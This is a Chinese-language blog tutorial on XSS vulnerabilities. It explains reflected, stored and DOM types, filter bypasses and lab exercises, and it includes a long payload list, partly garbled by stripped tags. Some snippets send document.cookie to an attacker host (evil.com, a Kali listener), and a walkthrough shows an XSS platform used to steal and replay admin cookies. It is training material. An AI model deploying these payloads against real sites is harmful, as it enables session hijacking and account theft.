boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

XSS漏洞


avatar
yuhui 2025年10月24日 27

XSS漏洞

概述

XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。

1746273782813-230f0679-a794-4e7e-8ab7-016ed025406d.png

XSS攻击的危害包括

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

XSS防御

XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行。

XSS漏洞类型

反射型XSS

非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。

反射型XSS代码分析

1746324833764-3cd85094-f73d-414e-9f98-84329ac5c7fe.png

在反射型 xss 代码中,首先判断$_GET[‘mssage’]是否等于 kobe,如果不是则在页面中将$_GET[‘mssage’]复制给$html 变量中,而且没有任何过滤再输出到页面中,所以直接输入页面会直接输出 xss 信息,就会造成 xss攻击

存储型XSS

持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。

1746325054466-f7927eaa-2876-4d81-831f-8819c789a8d5.png

存储型XSS代码分析

看到留言的 inster into 语句中,直接插入留言信息,没有任何过滤,输入恶意代码,这个代码将记录在数据中。

输入攻击语句,浏览器在访问该页面的时,恶意代码会从数据库字段里取出这条记录,没有经过任何处理就直接输出。

1746325115563-f03d7053-d201-44c3-9064-1f5aff210b15.png

浏览器访问这个页面,会弹窗显示 xss 漏洞。

DOM型XSS

全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。以下是一些经常出现 dom xss 的关键语句

document.referer 属性

window.name 属性

location 属性

innerHTML 属性

documen.write 属性

1746325316464-2e0b3e9d-1df4-4373-9b3e-878551dcb81f.png

DOM型XSS代码分析

DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML属性、方法、事件,因此程序中没有与服务器进行交互。

1746325359921-3f895706-73bc-4131-8272-1adffcba7744.png

点击按钮时,会调用 domxss()函数,跟踪 domxss 函数

function domxss(){

var str = document.getElementById("text").value;

document.getElementById("dom").innerHTML = "what do you

see?";

}

获取 id text 文本的值,修改 id 为 dom 的 html 值,输入

‘ onclick="alert(‘dom xss 漏洞’)"> 闭合前面的单引号,即可

XSS测试语句

在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是

否过滤标签,如果没过滤,很大可能存在 xss 漏洞。

常用的测试语句

1

1

闭合

">x<"

‘>">x<‘

单行注释

">x//

XSS攻击语句

输入检测确定标签没有过滤后,为了显示存在漏洞,需要插入 xss 攻击代码。

常用的语句


aa

(1)普通的 XSS JavaScript 注入

(2)IMG 标签 XSS 使用 JavaScript 命令

(3)IMG 标签无分号无引号

(4)IMG 标签大小写不敏感

(5)HTML 编码(必须有分号)

(6)修正缺陷 IMG 标签

“>

(7)formCharCode 标签(计算器)

(8)UTF-8 的 Unicode 编码(计算器)

(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将 Javascript 分开

(12)嵌入式编码标签,将 Javascript 分开

(13)嵌入式换行符

(14)嵌入式回车

(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子

(16)解决限制字符(要求同页面)

z=z+'

src=ht'

(21)Non-alpha-non-digit XSS to 2

(22)Non-alpha-non-digit XSS to 3

(23)双开括号

<

(24)无结束脚本标记(仅火狐等浏览器)

(29)换码过滤的 JavaScript

";alert('XSS');//

(30)结束 Title 标签

(31)Input Image

(32)BODY Image

(33)BODY 标签

(34)IMG Dynsrc

(35)IMG Lowsrc

(36)BGSOUND

(37)STYLE sheet

(38)远程样式表

(39)List-style-image(列表式)

  • XSS

    (40)IMG VBscript

    • XSS

      (41)META 链接 url

      (42)Iframe

      (43)Frame

      12-7-1 T00LS - Powered by Discuz!

      Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

      (44)Table

      (45)TD

      (46)DIV background-image

      (47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

      (48)DIV expression

      (49)STYLE 属性分拆表达

      (50)匿名 STYLE(组成:开角号和一个字母开头)

      (51)STYLE background-image

      (52)IMG STYLE 方式

      exppression(alert("XSS"))'>

      (53)STYLE background

      (54)BASE

      (55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS

      (56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码

      a="get";b="URL("";c="javascript:";d="alert('XSS');")";eval_r(a+b+c+d);

      (57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上

      XSS

      (58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用

      (59)IMG 嵌入式命令,可执行任意命令

      (60)IMG 嵌入式命令(a.jpg 在同服务器)

      Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

      (61)绕符号过滤

      (62)

      (63)

      (64)

      (65)

      (66)12-7-1 T00LS - Powered by Discuz! Board

      https://www.a.com/viewthread.php?action=printable&tid=15267 4/6

      (67)PT SRC="http://3w.org/xss.js">

      (68)URL 绕行

      XSS

      (69)URL 编码

      XSS

      (70)IP 十进制

      XSS

      (72)IP 八进制

      XSS

      (74)节省[http:]

      XSS

      (75)节省[www]

      XSS

      (76)绝对点绝对 DNS

      XSS

      (77)javascript 链接

      XSS

      ## XSS常见利用 xss 漏洞能够通过构造恶意的 xss 语句实现很多功能,其中最常用的时,构造 xss恶意代码获取对方浏览器的 cookie。

      保存为 js

      var img=document.createElement("img");

      img.src="http://www.evil.com/log?"+escape(document.cookie);

      document.body.appendChild(img);

      发现存在 xss 漏洞时,如果只是弹出信息窗口,这样只能证明存在一个 xss 漏洞,想再进一步深入的话,就必须学会加载 xss 攻击 payload。同时加载 payload也要考虑到语句的长度,语句是越短越好,因为有的插入语句的长度会被限制。常见的加载攻击语句有](http://192.168.0.121/xss.js">) 单引号可以去掉 ](http://192.168.0.121/xss.js>)可以变成 这种格式如果网站是 http 会自动加载 http,如果网站是 https 会自动变成 https

      在 kali 里面打开 sudo python -m SimpleHTTPServer 80 小型 web 服务登陆 dvwa 后台输入 xss 代码,插入之后,受害者访问该网页就会把它的 cookie发送到 kali 的 web 服务上。查看日志就能得到 cookie

      ## 加载远程攻击的payload
      ### 常见的标准payload
      注意 网站采用的协议。

      ](http://192.168.0.121/xss.js”>)

      ](https://192.168.0.121/xss.js”>)

      自动选择协议

      ### 图片创建加载连接

      ### 字符拼接
      这种一般是输入的字符有限制的时候使用

      有的情况要用/**/注释不需要的代码

      ### jquery加载

      ## 搭建xss漏洞利用平台
      xss 漏洞利用平台,集合了 xss 攻击的多种方法,很方便快捷的利用 xss 漏洞,生

      成攻击代码

      使用 phpstudy 新建网站和数据库

      下载源码 [https://github.com/78778443/xssplatform](https://github.com/78778443/xssplatform) 解压当前目录 填写信息即可安装

      ![1746357896082-dffe8239-5477-40c6-a161-254db7ff6199.png](./img/mADJkokUnhIg1AVQ/1746357896082-dffe8239-5477-40c6-a161-254db7ff6199-207675.png)![1746358018401-7bccb3ce-19e4-40f7-8207-b37f6c69899a.png](https://cdn.picui.cn/vip/2025/10/24/68fae6ce0a2ba.png)

      设置为伪静态

      ![1746358093026-21fdfce6-21e6-4cdd-8bc2-c5defa014298.png](https://cdn.picui.cn/vip/2025/10/24/68fae6d04dd1d.png)创建攻击模块 选择 keepsession 如果攻击成功后,cookie 一直会请求刷新

      ![1746358129732-ab72b5fb-44f1-44ad-99d8-2f1e8aec00bf.png](https://cdn.picui.cn/vip/2025/10/24/68fae6d26008a.png)

      '">

      ## 利用xss平台盗取cookie登录
      将恶意代码插入存在漏洞的页面,当用户访问有问题的网页时,浏览器会加载恶意的攻击代码,会获取当前受害者访问网站的 cookie 发送到攻击者的服务器里。在留言处插入 xss 恶意'">](http://www.xss123.com/eciAKj?1623635663>)用户访问带有恶意代码的网页 发送用户的访问该网页的 cookie

      xss 利用平台获取的 cookie 如果获取的 cookie 是后台管理员登录的认证 cookie,

      替换 cookie 即可登录后台。以 dvwa 存储型 xss 漏洞为例,输入恶意代码

      用户登录后,访问带有恶意代码的网页,盗取 cookie 发送到攻击者服务端。攻击者盗取 cookie 后 访问该页面,修改 cookie 即可登录有验证的后台。

      ## XSS编码绕过
      ### gpc过滤字符
      若gpc开启,特殊字符会被加上``,xss公式代码不要待用单引号或双引号

      绕过 gpc 在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。

      这个是执行不了的

      没有单引号可执行

      ### 过滤alert
      当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可

      ### 过滤标签
      在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就不能执行了。

      预定义的字符是:

      & (和号)成为 &

      " (双引号)成为 "

      ’ (单引号)成为'

      < (小于)成为 &lt >(大于)成为 >

      ![1746359304407-ecb0ffef-cb8d-40c9-ab59-8d16bbad9ca7.png](https://cdn.picui.cn/vip/2025/10/24/68fae6d4ecf8c.png)

      但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。

      ### ascii编码

      ### url编码
      123

      ### js编码
      [https://www.jb51.net/tools/zhuanhuan.htm](https://www.jb51.net/tools/zhuanhuan.htm)

      ### 八进制编码

      ### 16进制编码

      ### jsunicode编码

      ### HTML编码
      在=后可以解析 html 编码

      十进制

      十六进制

      ### base64编码
      使用伪协议 base64 解码执行 xss

      111

      ## xss实战
      通过上面,学习了 xss 的原理和基础知识,在渗透测试中,xss 是广泛的存在的,

      发现挖掘这种漏洞相对比较容易,管理员也不会过多地关注这种漏洞。

      ## 反射型xss挖掘
      1.寻找用户能够输入,在客户端可控的输入点。

      2.输入恶意参数后,能够原型输出,输入没有过滤恶意代码。

      ## 反射型xss挖掘和利用
      输入检测代码浏览器查看网页源码是否过滤,如果过滤了,过滤一般是实体过滤,如图

      ![1746359493254-d40ba129-6235-48c3-ad57-f1aeb4c2c45b.png](https://cdn.picui.cn/vip/2025/10/24/68fae6d7741c2.png)

      <>实体变成 < >在 html 里是不能执行的。所以就不会产生 xss 漏洞

      ![1746359514597-f2f78245-c75d-4a54-8200-27d44837ac7d.png](https://cdn.picui.cn/vip/2025/10/24/68fae6dab81a2.png)

      输入测试语句后,发现标签没有过滤,数据没有插入数据库的,这种属于反射型 xss 漏洞

      ## 反射型xss代码分析
      ![1746359531645-f2e0c38b-a88b-42d9-8b3a-dd1eee7e1df2.png](https://cdn.picui.cn/vip/2025/10/24/68fae6de58ee4.png)

      $_GET['mseeage'] 从客户端获取值,再用 echo 直接输出字符串,没有任何过滤

      ## 反射型XSS攻击
      在 xss 利用里生成攻击模块后,获取代码与当前漏洞页面结合使用将构造好的代码发送给管理员,或者攻击目标,如果受害者,访问这个拦截,就会获取用户访问这个网站的 cookie,如果是登录的 cookie,则攻击者把 cookie替换受害者浏览器的 cookie,即可获取用户登录这个这个网站的登录权限。为了更加隐蔽的隐藏攻击代码,可以把当前的代码进行缩短。例如把 url 放入短网址平台,生成一个比较短的 url,发送给目标

      ## 存储型Xss漏洞挖掘
      寻找一切能输入的地方,例如留言板、发表文章、友情链接,能与数据库交互的地方,都有可能存在 xss 漏洞,除了检测输入还要检测输出是否有过滤。

      从客户端里获取留言记录,没有任何过滤,拼接到 SQL 语句里,再插入到数据库中,当有人访问这个页面时,因为$html 是直接输出的,没有任何过滤,所以能直接加载恶意代码

      ![1746360180970-079b21d3-a9f0-4800-a2ee-e93b71a28ac1.png](https://cdn.picui.cn/vip/2025/10/24/68fae6e1a2e38.png)

      ## 存储型xss攻击
      留言板输入 xss 利用平台的恶意代码,有人访问这个页面就会盗取它的 cookie

      ## DOM型XSS漏洞挖掘
      dom 型 xss 是用过改变 html 的属性或动作造成的 xss 型漏洞。查找能操作 html 属性的函数,特别是 document.getElementById、document.getElementsByName、document.getElementsByTagNamegetElementById() 返回对拥有指定 id 的第一个对象的引用。getElementsByName() 返回带有指定名称的对象集合。getElementsByTagName() 返回带有指定标签名的对象集合。getelementbyid.innerHTML 更改 html 的字符串和 js 输出的函数document.write();

      ## DOM型Xss漏洞代码
      点击 button 会自动加载 domxss()函数,这个函数通过document.getElementById("text")获取文本的值,再将这个值拼接字符串后改变 dom 的 html

      ![1746360372528-8ca4cb8b-b7ba-491f-9e88-c8af84996b08.png](https://cdn.picui.cn/vip/2025/10/24/68fae6e4a7529.png)

      ## DOM型XSS攻击
      dom xss 因为是从客户端输入输出的,利用相比其他 xss 漏洞相对来说难一些。首先用启动打开卡里启动简单的 web 服务器

      sudo python -m SimpleHTTPServer 80

      输入点击连接

      javascript:eval(document.location="[http://192.168.0.170/?cookie="+document.cookie)](http://192.168.0.170/?cookie="+document.cookie))

      ;//

      # XSS进阶实战
      ## domxss靶场漏洞挖掘
      pikachu 靶场 dom 型 xss 分析源码 搜索 domxss 函数

      分析代码![1746360465766-0f91d3e1-c0da-4a80-ab60-f7da60d19ddb.png](https://cdn.picui.cn/vip/2025/10/24/68fae6e813668.png)document.getElementById("dom").innerHTML = "就让往事都随风,都随风吧";

      拼接字符改变 dom 的 html

      发现是 a 标签 所以可以使用 javascript:alert(/xss/

      ![1746360494665-ae69e6f2-0643-4822-a094-1231868d8c91.png](https://cdn.picui.cn/vip/2025/10/24/68fae6eb6b673.png)

      ## xss反射型漏洞
      ![1746360509360-b8761370-c9f1-4705-b8b2-f16069b3a132.png](https://cdn.picui.cn/vip/2025/10/24/68fae6ee61a8b.png)

      过滤 message 的 script 但是没有区分大小写。所以输入

      ![1746360522775-75656f18-f7a3-4a56-9b11-c4c26fed2832.png](https://cdn.picui.cn/vip/2025/10/24/68fae6f0dbb11.png)

      ## xss反射型漏洞
      输入测试语句发现发现连接文字是过滤的,但是 url 部分没有过滤

      ![1746360594638-e6ccf9fd-bc07-4c93-a2e7-9849f2ec4c0d.png](https://cdn.picui.cn/vip/2025/10/24/68fae6f419021.png)

      构造语句

      http://192.168.0.103/06/vul/xss/xss_02.php?message=javascript:alert(/xss/)&submit=submit

      ![1746360602798-d556525d-cf7c-4e6b-977c-9c318db5c05f.png](https://cdn.picui.cn/vip/2025/10/24/68fae6f78d19a.png)

      ## dom反射型漏洞
      输入<>查看源码

      ![1746360622538-33215b2a-cb51-410e-98a7-6d0cc1e3f53d.png](https://cdn.picui.cn/vip/2025/10/24/68fae6fa29ba1.png)

      输入的参数没有被过滤。构造语句即可弹 xss 窗

      ';alert('xss')// 单引号闭合前面 //注释后面字符

      ![1746360635454-a45c2736-28af-49d9-97dd-30d86ac2ba02.png](https://cdn.picui.cn/vip/2025/10/24/68fae6fc4f2e3.png)

      ## xss项目实战 挖掘cms xss漏洞
      Gnuboard 是韩国 Sir 公司开发一套 PHP+Mysql 可扩展论坛程序。将主程序与 Skin(风格文件)完全剥离,通过 skin 的编辑可以制作人才就业网站、房产信息平台、供求信息发布、甚至可以作为企业产品展示

      ![1746360661303-533af560-451a-4616-91bd-3a17cd13e49c.png](https://cdn.picui.cn/vip/2025/10/24/68fae6fecb6ac.png)

      挖掘 xss 漏洞 寻找可控参数,输入标签,右键查看源码,是否有队输入的内容过滤。如果存在标签过滤,则尝试绕过过滤,没有过滤的情况下,构造而已代码即可

      ### 反射型xss漏洞一
      检测方法在网址?输入标签查看源码

      ![1746360720463-f402d74a-0fc4-49fb-92a2-e3e0fabd4367.png](https://cdn.picui.cn/vip/2025/10/24/68fae7013e1c1.png)

      查看源码 搜索 moonsec 发现标签没有过滤,构造恶意代码。闭合代码双引

      号 ?">

      ![1746360762052-1f5ab924-1403-4bb3-82c6-5a45b34fcca1.png](https://cdn.picui.cn/vip/2025/10/24/68fae7037941b.png)

      ### 反射型xss漏洞二
      在登录用户处,尝试登录抓包仔细查看返回内容,查看是否有相同点

      ![1746360802547-94f9dcf4-bf64-4efd-a527-40f575fe06bd.png](https://cdn.picui.cn/vip/2025/10/24/68fae705ef909.png)

      document.location.replace 这个 js 的意思 载入新文档替换当前页面。

      同样可以用双引号闭合语句执行恶意语句。

      [http://www.xss01.com/bbs/login.php");alert('xss');//](http://www.xss01.com/bbs/login.php");alert('xss');//)

      ![1746360830787-136842b0-50e4-4700-b4e7-17dd67552eec.png](https://cdn.picui.cn/vip/2025/10/24/68fae708dcbd0.png)

      ![1746360836598-36d41cb2-ede3-4117-b590-ec3621658b6e.png](https://cdn.picui.cn/vip/2025/10/24/68fae70bce046.png)

      > 更新: 2025-05-04 20:13:58
      > 原文:



      评论(0)

      查看评论列表

      暂无评论


      发表评论

      表情 颜文字

      插入代码